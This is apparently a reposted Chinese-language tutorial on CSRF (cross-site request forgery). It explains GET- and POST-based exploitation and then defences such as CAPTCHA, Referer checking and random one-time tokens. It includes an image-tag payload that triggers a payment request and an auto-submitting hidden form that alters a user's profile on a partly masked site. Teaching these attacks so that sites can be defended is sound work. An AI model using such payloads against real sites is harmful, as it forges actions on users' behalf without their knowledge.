CSRF漏洞分析利用及防御

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF漏洞分析利用及防御相关的知识,希望对你有一定的参考价值。


0x00 简要介绍

    CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无 token/refer 限制,导致攻击者可以以用户的身份完成操作达到各种目的。根据HTTP请求方式,CSRF利用方式可分为两种

 

0x01 GET类型的CSRF

     这种类型的CSRF一般是由于程序员安全意思不强造成的。GET类型的CSRF利用非常简单,只需要构造一个HTTP请求,

一般会这样利用:

<img src="http://a.ioio.pub:8000/users/pay?uid=122&monery=10000" \>

当目标加载这个图片时会自动加载链接,这时就能完成攻击了。


例如:在一个留言或博客论坛的环境中,当留言内容没有经过过滤时,可以按照上面的方法构造一个删除该文章的图片链接。当目标查看博客留言时,因为是图片标签,所以浏览器会自动加载该URL这时,目标处于登录状态,那么该文章就会被删除。这种就是CSRF-GET请求的一种利用。


0x02 POST类型的CSRF

     所谓POST类型就是构造一个自动提交的表单,当目标点击给标签时,就会以POST的方式发送一次HTTP请求。

<!DOCTYPE html>
<html>
<head>
    <title>test csrf</title>
</head>
<body>
<body>
    <form name="csrf" action="http://acm.xxxxx.net/JudgeOnline/profile_modify.php?action=modify" method="post" enctype="multipart/form-data">
        <input type="hidden" name="email" value="[email protected]">
        <input type="hidden" name="qq" value="123456">
        <input type="hidden" name="telephone" value="12345678901">
        <input type="hidden" name="bloglink" value="smdx">
        <input type="hidden" name="description" value="xmsdx">
    </form>
    <script>document.csrf.submit();</script>
</body>
</html>

以上内容就是一个可以自动提交的表单,当用户触发时,发送一次HTTP请求,修改个人信息。


0x03 如何修复

     针对CSRF的防范:

     关键的操作只接受POST请求,并且添加验证码。

     CSRF攻击的工程,往往是用户在不知情的情况下触发的,当添加验证码或确认操作时,就可以简单而有效防御CSRF了。

    

     检测refer

常见的互联网页面与页面之间是存在联系的,比如你在www.baidu.com应该是找不到通往www.google.com的链接的,再比如你在 论坛留言,那么不管你留言后重定向到哪里去了,之前的那个网址一定会包含留言的输入框,这个之前的网址就会保留在新页面头文件的Referer中


通过检查Referer的值,我们就可以判断这个请求是合法的还是非法的,但是问题出在服务器不是任何时候都能接受到Referer的值,所以Refere Check 一般用于监控CSRF攻击的发生,而不用来抵御攻击。


     Token

目前主流的做法是使用Token抵御CSRF攻击。下面通过分析CSRF 攻击来理解为什么Token能够有效


CSRF攻击要成功的条件在于攻击者能够预测所有的参数从而构造出合法的请求。所以根据不可预测性原则,我们可以对参数进行加密从而防止CSRF攻击。


另一个更通用的做法是保持原有参数不变,另外添加一个参数Token,其值是随机的。这样攻击者因为不知道Token而无法构造出合法的请求进行攻击。


Token 使用原则

Token要足够随机————只有这样才算不可预测
Token是一次性的,即每次请求成功后要更新Token————这样可以增加攻击难度,增加预测难度
Token要注意保密性————敏感操作使用post,防止Token出现在URL中
                                                                 ---参照学习与乌云drops

本文出自 “启思·朝圣者” 博客,请务必保留此出处http://dearch.blog.51cto.com/10423918/1793767

以上是关于CSRF漏洞分析利用及防御的主要内容,如果未能解决你的问题,请参考以下文章

CSRF 漏洞原理详解及防御方法

用代码来细说Csrf漏洞危害以及防御

CSRF漏洞的概念利用方式防御方案

44. CSRF 攻击与防御

CSRF漏洞利用以及防御手段(详细解释)

CSRF攻击原理及防御和相关漏洞复现